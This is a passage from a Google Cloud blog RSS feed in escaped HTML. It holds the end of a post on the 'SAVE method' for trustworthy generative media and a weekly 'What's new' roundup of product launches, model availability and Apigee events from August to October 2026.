&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Programmatic boundary checks&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Use standard code to validate word counts, verify that URLs are live and authorized, check colors against your brand palette, and format text strings.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Independent safety gates&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Run automated filters outside the generation pipeline to catch policy violations or out-of-bounds claims before an asset is ever delivered.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Model modularity&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: When your safety and brand rules are set, you don't have to rewrite your entire governance playbook every time a newer, faster generative model is launched. You simply plug the new model into your existing, verified pipeline.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Generating studio-quality media shouldn't mean constantly worrying about what the model might fabricate next. The SAVE method shifts the burden of accuracy away from prompt phrasing and into the architecture where it belongs. &lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Apply the SAVE method yourself&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://discuss.google.dev/t/designing-composable-generative-media-workflows-on-google-cloud-a-blueprint-for-document-to-video-generation-deterministic-controls-and-media-processing/393767" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Check out our generative media deep dive&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and learn how to architect trust across your generative media using Google Cloud tools and technologies.  &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://cloud.google.com/ai/generative-media"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Explore Google Cloud’s generative media suite&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, featuring cutting-edge models for studio-grade image, video, and sound generation.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;</description><pubDate>Fri, 16 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/topics/consulting/fundamentals-to-engineer-trustworthy-gen-media/</guid><category>Google Cloud Consulting</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>The SAVE method: Learn the fundamentals to engineer trustworthy generative media</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/topics/consulting/fundamentals-to-engineer-trustworthy-gen-media/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Chaithanya Bogadi</name><title>AI Technical Deployment Lead, Google Cloud</title><department></department><company></company></author></item><item><title>What’s new with Google Cloud</title><link>https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/</link><description>&lt;div class="block-paragraph"&gt;&lt;p data-block-key="kgod7"&gt;Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. &lt;/p&gt;&lt;hr/&gt;&lt;p data-block-key="ru1z9"&gt;&lt;b&gt;Tip&lt;/b&gt;: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: &lt;a href="https://cloud.google.com/blog/topics/inside-google-cloud/complete-list-google-cloud-blog-links-2021"&gt;Google Cloud blog 101: Full list of topics, links, and resources&lt;/a&gt;.&lt;/p&gt;&lt;hr/&gt;&lt;p data-block-key="b0lnw"&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-aside"&gt;&lt;dl&gt;
    &lt;dt&gt;aside_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: []&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;Oct 12 - Oct 16&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AI tokenomics in action: Enforcing tiered token budgets with Apigee&lt;br/&gt;&lt;/strong&gt;Scaling artificial intelligence across an enterprise requires clear token governance to keep LLM spend predictable across departments. Join Tarun Abraham on Thursday, November 5, 2026 for a Community TechTalk on AI tokenomics. Discover how to use Apigee to enforce isolated, tiered token budgets and model access for each team—such as assigning Engineering a dedicated budget for Gemini Pro while covering mixed usage for Marketing—without changing application code. Attendees will also gain access to a sample codebase featuring a reusable Shared Flow.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="34" href="https://goo.gle/acttsessions" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Register for the November 5 Community TechTalk&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sept 28 - Oct 2&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;strong&gt;Claude Sonnet 5.5 is now available on Google Cloud. &lt;/strong&gt;Built for focused coding and knowledge work, it delivers stronger performance for feature development, and creating presentation-ready documents, while offering more intelligence with  a lower cost per task for most work at faster speed.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Deploy Sonnet 5.5 directly from Model Garden with Google Cloud’s enterprise security, scale, and governance built in. &lt;a href="https://cloud.google.com/products/model-garden/claude"&gt;Try it now&lt;/a&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mastering Storage Management with Storage Intelligence&lt;br/&gt;&lt;/strong&gt;In our new blog, explore practical strategies to modernize storage operations using Storage Intelligence Advisor and enhanced Batch Operations. See how customers like Shipt and Palo Alto Networks are using these features to manage their estates at scale. Today, Storage Intelligence is used by 25 of the top 50 GCS customers. 2 in 3 customers have Storage Intelligence enabled for over 90% of their storage footprint.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="18" href="https://cloud.google.com/blog/products/storage-data-transfer/storage-intelligence-advisor-and-batch-operations-updates" rel="noopener" target="_blank"&gt;Explore best practices on our blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cut Gen AI costs by 70% with Apigee X dynamic routing&lt;br/&gt;&lt;/strong&gt;Generative AI deployments face a harsh cost-performance trade-off: static model selection either wastes budget or compromises quality. Discover how to build an Intelligent AI Gateway using Apigee X to dynamically evaluate prompt complexity in real-time. This new blueprint automatically routes simple queries to lightweight models (like Gemini 3.5 Flash Lite) and complex reasoning tasks to advanced models (like Gemini 3.7 Flash), achieving over 70% cost savings without sacrificing output quality. &lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="22" href="https://goo.gle/4ycN5Pf" rel="noreferrer noopener" target="_blank"&gt;Read the guide to optimize your Gen AI architecture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI Agent Clinic launches new hands-on session on production agent evaluations&lt;br/&gt;&lt;/strong&gt;A new episode of the AI Agent Clinic is now available showing organizations how to move past manual "vibe checks" to build robust, production-grade agent evaluations. In this hands-on session, Google Cloud engineer Dani Zamora and Matthew Feroz (Merge) take DocsHound, an open-source LangGraph agent, and build an end-to-end eval pipeline in under an hour. Learn how to standardize multi-turn traces across any framework using OpenTelemetry and OpenInference, pair LLM judges with deterministic checkers, and catch silent quality regressions before shipping. &lt;br/&gt;&lt;br/&gt;&lt;a href="https://youtu.be/wPdoZRbvaF4?si=9JrwgwVLzOepNmqq&amp;amp;t=1" rel="noopener" target="_blank"&gt;Watch here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Drive AI impact: Join Google's Agentic Data Cloud event on Nov 4&lt;br/&gt;&lt;/strong&gt;Every enterprise plans to adopt agentic AI within two years, but data bottlenecks hold them back—AI accesses just 45% of enterprise data today (&lt;em&gt;MIT, 2026&lt;/em&gt;). Google's Agentic Data Cloud provides the trustworthy foundation and real-time context AI needs. &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="28" href="https://cloudonair.withgoogle.com/events/trusted-agents-real-outcomes-agentic-data-cloud" rel="noreferrer noopener" target="_blank"&gt;Join our product leaders November 4th&lt;/a&gt; to explore the latest innovations across databases, analytics, business intelligence, and storage, and get direct answers in our executive Q&amp;amp;A with Google Data Cloud VP &amp;amp; GM Andi Gutmans. &lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="29" href="https://cloudonair.withgoogle.com/events/trusted-agents-real-outcomes-agentic-data-cloud" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Register today!&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sept 21 - Sept 25&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Master MCP tool authorization and agent governance with Apigee&lt;br/&gt;&lt;/strong&gt;While the Model Context Protocol (MCP) solves interoperability for autonomous AI agents, chained actions like CRM edits or database queries quickly expose systems to unauthorized execution. Join our technical deep dive on Thursday, October 1, 2026, at 5:00 PM CEST featuring Christophe from Google Cloud. Learn how positioning Apigee between MCP clients and enterprise backends enables fine-grained authorization (FGA), complete audit trails, and policy evaluation via emerging standards like OpenID AuthZEN.&lt;br/&gt;&lt;br/&gt;Language and accessibility note: This session will be hosted in French, but non-French speakers can follow along seamlessly by turning on Google Meet live translated captions to read in English, Spanish, German, Portuguese, or Italian.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="46" href="https://rsvp.withgoogle.com/events/apigee-emea-office-hours-2024/sessions#:~:text=Gouvernance%20des%20Agents%20%3A%20Ma%C3%AEtriser%20l%27autorisation%20des%20tools%20MCP%20avec%20Google%20Apigee" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Register for the October 1 Community TechTalk&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apigee Trace Viewer Tutorial: Capturing &amp;amp; Analyzing Proxy Traces&lt;br/&gt;&lt;/strong&gt;Streamlining API proxy debugging just got easier with a new tutorial by Apigee Customer Engineer Tyler Ayers. The guide covers end-to-end instructions for capturing debug traces in both Google Cloud Apigee X (or Hybrid) and the local Apigee Emulator, extracting trace JSON data via the web UI or automated REST APIs, and analyzing execution flows, variable mutations, and latency bottlenecks using the open source Apigee Trace Viewer. &lt;br/&gt;&lt;br/&gt;&lt;strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="49" href="https://goo.gle/4746upt" rel="noreferrer noopener" target="_blank"&gt;Read the Apigee Trace Viewer guide today.&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automate Apigee proxy testing locally&lt;br/&gt;&lt;/strong&gt;Catching errors early saves time and money. A new tutorial by Apigee customer engineer Tyler Ayers shows how to use the Apigee Local Emulator for automated testing. Learn to run tests locally, integrate them into CI/CD pipelines, and deploy on Google Cloud Run for shared sandboxes. This approach provides instant feedback and zero cloud costs, helping teams speed up deployment cycles.&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="53" href="https://goo.gle/4hAQYHL" rel="noreferrer noopener" target="_blank"&gt;Read the tutorial&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scale your enterprise multi-agent systems with Apigee&lt;br/&gt;&lt;/strong&gt;Deploying multi-agent architectures in production introduces critical hurdles around security, operational control, and runtime expenses. Discover how Apigee API Hub provides a central discovery surface to eliminate agent sprawl across tools, Model Context Protocol (MCP) servers, and enterprise APIs. Learn how to turn existing backend services into secure MCP tools using Agent Gateway guardrails, while applying semantic caching and intelligent model routing to keep compounding token costs predictable.&lt;br/&gt;&lt;br/&gt;Join Google Cloud &lt;strong style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;in Chicago in Oct.15 for The AI Evolution. &lt;/strong&gt;&lt;strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="60" href="https://goo.gle/45e67I0" rel="noreferrer noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;Reserve your seat for Chicago&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Automate Apigee proxy testing with the Apigee Local Emulator&lt;br/&gt;&lt;/strong&gt;Waiting on remote deployments to validate API proxy logic slows down release cycles and increases infrastructure overhead. Join Nigel Walters on Thursday, October 8, 2026, at 5:00 PM CEST for a Community TechTalk on shift-left testing for Apigee. Discover how to use the Apigee Local Emulator and apigee-emulator-service to run sub-second assertion suites on local machines, automate CI/CD checks in GitHub Actions, and deploy ephemeral preview sandboxes on Google Cloud Run.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="64" href="https://goo.gle/acttsessions" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Register for the October 8 Community TechTalk&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Now in Public Preview: AI-assisted EKS-to-GKE migrations with deterministic guardrails&lt;br/&gt;&lt;/strong&gt;Migrating complex Kubernetes estates from AWS EKS to GKE is traditionally high-friction and error-prone. Now in Public Preview, &lt;strong&gt;GKE Agentic Migration &lt;/strong&gt;is an open-source agent plugin that replaces ad-hoc LLM prompting with an AI-assisted migration workflow protected by deterministic guardrails.&lt;br/&gt;&lt;br/&gt;Running locally in your development harness, it indexes source IaC, maps cloud-specific primitives (such as Karpenter to Custom Compute Classes), and validates configurations offline—delivering reviewable pull requests and data-migration runbooks with zero live cluster mutations.&lt;br/&gt;&lt;br/&gt;Learn more in the &lt;strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="70" href="https://cloud.google.com/blog/products/containers-kubernetes/gke-agentic-migration?e=48754805" rel="noreferrer noopener" target="_blank"&gt;announcement blog&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="71" href="https://github.com/gke-labs/gke-agentic-migration." rel="noreferrer noopener" target="_blank"&gt;try the plugin on GitHub&lt;/a&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Claude Opus 5.5 is now available on Google Cloud.&lt;/strong&gt; Built for everyday complex tasks, it delivers stronger agentic coding, research, and analysis while handling long-running work at a lower cost per token. Google Cloud continues to provide enterprise customers with broad model choice to build, deploy, and scale their AI agents securely. &lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Try it &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="74" href="https://console.cloud.google.com/agent-platform/publishers/anthropic/model-garden/claude-opus-5-5" rel="noreferrer noopener" target="_blank"&gt;here&lt;/a&gt;.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Import Delta Lake tables with Dataflow Job Builder!&lt;br/&gt;&lt;/strong&gt;Migrating to borderless Lakehouse just got a lot easier. You can now import Delta Lake tables stored in Cloud Storage using &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="85" href="https://docs.cloud.google.com/dataflow/docs/guides/job-builder" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Dataflow Job Builder&lt;/strong&gt;&lt;/a&gt;, a no-code/low-code interface for authoring Dataflow pipelines. Because Dataflow is a fully managed service, you are spared the overhead of provisioning and managing virtual machines. For step-by-step guidance, check out the documentation &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="86" href="https://docs.cloud.google.com/dataflow/docs/guides/delta-lake-df-lakehouse-integration" rel="noreferrer noopener" target="_blank"&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sept 14 - Sept 18&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Storage Intelligence Advisor for Google Cloud Storage is now GA&lt;br/&gt;&lt;/strong&gt;Google Cloud Storage customers can now manage cloud storage more effectively with &lt;strong&gt;Storage Intelligence Advisor&lt;/strong&gt;, delivering curated metrics, automated anomaly detection, and actionable recommendations right out of the box, with zero setup required.&lt;br/&gt;&lt;br/&gt;Advisor baselines activity across your projects and automatically detects four key anomalies: surges in operations, unexpected rises in cross-region egress, and spikes in errors. Each finding includes deep drill-down visibility into the resources driving the change, alongside prescriptive steps to remediate issues before they impact performance or cost.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="136" href="https://docs.cloud.google.com/storage/docs/storage-intelligence/advisor-overview" rel="noopener" target="_blank"&gt;Learn more to get started with Storage Intelligence Advisor&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Build private WebSockets from Apigee X to Cloud Run&lt;br/&gt;&lt;/strong&gt;Real-time AI agents and streaming architectures often require persistent, bidirectional connections. A new implementation guide by Apigee Customer Engineer Joel Gauci demonstrates how to establish private southbound connectivity between Apigee X and Cloud Run. Using Private Service Connect (PSC) and a Regional Internal Application Load Balancer, teams can enforce API governance and security policies at the edge while keeping backend services completely isolated from the public internet.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="132" href="https://goo.gle/4h4ABlh" rel="noreferrer noopener" target="_blank"&gt;Explore the step-by-step guide and open-source code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Connecting Gemini Enterprise Agent Runtime to Apigee with Private Service Connect&lt;/strong&gt; &lt;br/&gt;Deploying autonomous AI agents often presents security, compliance, and cost challenges. A new reference guide details how to build an end-to-end, private architecture between Gemini Enterprise Agent Runtime and Apigee. This design helps protect internal backends and manage token quotas. &lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="128" href="https://goo.gle/4h4PAMd" rel="noreferrer noopener" target="_blank"&gt;Read the full community guide and deploy the code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Discover what’s new and next in Apigee&lt;br/&gt;&lt;/strong&gt;As enterprise architectures adapt to generative AI and autonomous workflows, Apigee is expanding its proven platform capabilities to support modern AI gateway use cases alongside traditional API management. Join our session on Thursday, September 24, featuring Apigee Product Manager Geir Sjurseth. Get an inside look at recent product releases, explore architectural patterns for securing models and agents, and bring your questions for the live Q&amp;amp;A.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="124" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Register for the September 24 Apigee product update&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;Managed Service for Apache Kafka supports clusters with public Internet access!&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;With &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/managed-service-for-apache-kafka/docs/networking-kafka#connect-clients-to-a-public-cluster"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Managed Kafka public clusters&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, you can now produce and consume messages from clients outside your VPC—including your local machine, for faster, frictionless testing. Public clusters unlock use cases like IoT devices, retail storefronts, and telco network towers. Enable public access on new or existing clusters via the Google Cloud console, gcloud CLI, or REST API. &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/managed-service-for-apache-kafka/docs/create-cluster"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Spin up your first public cluster&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, or reach out to kafka-hotline@google.com with questions.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;Stream data directly into Bigtable using Bigtable subscriptions, now in Preview!&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;You can write Pub/Sub messages to a Bigtable table with zero ETL with &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/pubsub/docs/bigtable-subscriptions"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Bigtable subscriptions&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. No pipelines, no code, delivered by the serverless, zero-ops experience you already know with Pub/Sub. Power your AI workloads, from model telemetry to real-time context engineering, without the overhead of managing complicated ETL pipelines. Built to be dependable, with native support for dead-letter topics. &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/pubsub/docs/bigtable-subscriptions"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Try the feature today&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;!&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sept 7 - Sept 10&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Why Your Voice Agent Needs Session Auditing&lt;br/&gt;&lt;/strong&gt;Moving voice agents to production demands robust quality monitoring. This guide dives deep into the inner workings of the Agent Development Kit (ADK) responsible for audio session auditing. Learn how the ADK's &lt;code&gt;save_live_blob&lt;/code&gt; feature intercepts, buffers, and stores raw audio chunks during active Gemini Live sessions. We explore building an automated post-processing pipeline to seamlessly stitch these fragments into cohesive, playable audio files. Discover how to leverage these vital audio audit trails to monitor real-world interactions, diagnose failures, and ensure enterprise-grade reliability. &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="107" href="https://discuss.google.dev/t/why-your-voice-agent-needs-session-auditing-and-how-to-build-it/390882" rel="noreferrer noopener" target="_blank"&gt;Read the full guide here&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AlloyDB Omni Red Hat RPM Orchestrator now Generally Available&lt;br/&gt;&lt;/strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="139" href="https://docs.cloud.google.com/alloydb/omni/docs/redhat-orchestrator-overview" rel="noreferrer noopener" target="_blank"&gt;AlloyDB Omni Red Hat RPM orchestrator&lt;/a&gt; is now Generally Available. The AlloyDB Omni Red Hat RPM orchestrator offers a new way to manage PostgreSQL-compatible workloads on bare metal or VM platforms, combining the high performance of AlloyDB, access to generative AI features and Gemini models to build AI agents and applications, and full automation. The orchestrator simplifies cluster provisioning and lifecycle management by allowing you to define reference architecture specifications, customizable by adjusting instance parameters, node configurations, and networking options — discover all details in &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="140" href="https://cloud.google.com/blog/products/databases/alloydb-omni-rpm-orchestrator-is-generally-available" rel="noreferrer noopener" target="_blank"&gt;full blog post&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Aug 31 - Sept 4&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Automate VM guest software lifecycle with VM Extension Manager, now GA&lt;br/&gt;&lt;/strong&gt;Google Cloud VM Extension Manager is now generally available, eliminating the need for custom startup scripts to manage guest OS extensions across Compute Engine fleets. Define declarative, project-wide policies that enforce desired software states across all regions and zones. Benefit from continuous drift detection with automatic self-healing, multi-zone phased rollouts with automated rollbacks on failure, and centralized fleet health visibility integrated with Cloud Monitoring.&lt;br/&gt;&lt;br/&gt;Explore &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="18" href="https://docs.cloud.google.com/compute/docs/vm-extensions/about-global-policies" rel="noreferrer noopener" target="_blank"&gt;VM Extension Manager documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assess Apigee migrations without a target environment&lt;br/&gt;&lt;/strong&gt;Planning a migration to Apigee X or Hybrid? You can now assess your legacy Apigee Edge SaaS or OPDK environment earlier in your planning cycle. Using the updated --skip-target-validation flag in the Apigee Migration Assessment Tool, teams can generate a full inventory and establish scope baselines before target infrastructure or IAM credentials are provisioned.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="24" href="https://goo.gle/4iKScRI" rel="noreferrer noopener" target="_blank"&gt;Read the guide to learn more.&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Claude Fable 5.1 is now available on Agent Platform&lt;/strong&gt;. It brings performance improvements over Fable 5 across reasoning, full-lifecycle coding, multi-tool workflows, and knowledge work.&lt;/p&gt;
&lt;p&gt;Anthropic also announced Enterprise Frontier Safeguards, a solution that gives customers the option to safely deploy Anthropic’s most capable models while storing their data in cloud infrastructure they control.&lt;/p&gt;
&lt;p&gt;We continue to offer enterprise customers options across frontier models to build, deploy, and scale securely on Google Cloud.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Aug 24 - Aug 28&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Grok 4.6 is now available in Preview on Gemini Enterprise.&lt;/strong&gt; xAI's most capable model, built for coding, agentic tasks, and knowledge work, Grok 4.6 joins Grok 4.3 and Grok 4.20 in Model Garden and becomes the flagship of the Grok family. It supports reasoning, function calling, and structured output for multi-step agentic workflows, and accepts text and image input.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="58" href="https://console.cloud.google.com/agent-platform/publishers/xai/model-garden/grok-4.6" rel="noreferrer noopener" target="_blank"&gt;Get started today&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Empowering autonomous agents with advanced security governance&lt;/strong&gt;&lt;br/&gt;AI agents offer incredible productivity gains, but granting them access to read emails, query databases, and trigger APIs introduces critical new security risks. In fact, 79% of tech leaders cite security and governance as their biggest challenge to scaling AI. Traditional tools are no longer enough to handle automated threats like prompt injection and dynamic permissions. Discover how forward-thinking enterprises are using secure-by-default design, agent identity governance, and human-in-the-loop controls to deploy agents with confidence.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="61" href="https://cloud.google.com/blog/topics/ai-infrastructure/state-of-ai-infrastructure-report-agent-governance-and-security?e=48754805" rel="noreferrer noopener" target="_blank"&gt;Read more&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stateful processing is available in BigQuery continuous queries in Preview&lt;br/&gt;&lt;/strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="67" href="https://docs.cloud.google.com/bigquery/docs/continuous-queries-introduction#supported_stateful_operations" rel="noreferrer noopener" target="_blank"&gt;Stateful operations&lt;/a&gt; significantly expand what’s possible with BigQuery continuous queries. This feature allows users to leverage functions like JOINs, aggregations, and windowing functions directly in their streaming queries. Now you can calculate metrics over time (for example, a 30-minute average) to power your downstream applications and AI agents with much richer, real-time signals.&lt;/li&gt;
&lt;li&gt;Try out our feature &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="68" href="https://docs.cloud.google.com/bigquery/docs/continuous-query-joins" rel="noreferrer noopener" target="_blank"&gt;here&lt;/a&gt; and share your feedback with bq-continuous-queries-feedback@google.com!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Synthetic data generator tool is available for Managed Service for Kafka&lt;br/&gt;&lt;/strong&gt;You’ve launched your first Kafka cluster. Now what? The next thing to do is to produce some data to the cluster, but that involves modifying a client application somewhere or spinning up a virtual machine. The synthetic data generator tool, now generally available, can start sending mock data to your cluster in 3 clicks, and will get data streaming into your cluster in less than two minutes. The perfect utility for those moments you just want to test your cluster and new features. Try &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="71" href="https://docs.cloud.google.com/managed-service-for-apache-kafka/docs/quickstart-synthetic-data" rel="noreferrer noopener" target="_blank"&gt;our quickstart&lt;/a&gt; today!&lt;/li&gt;
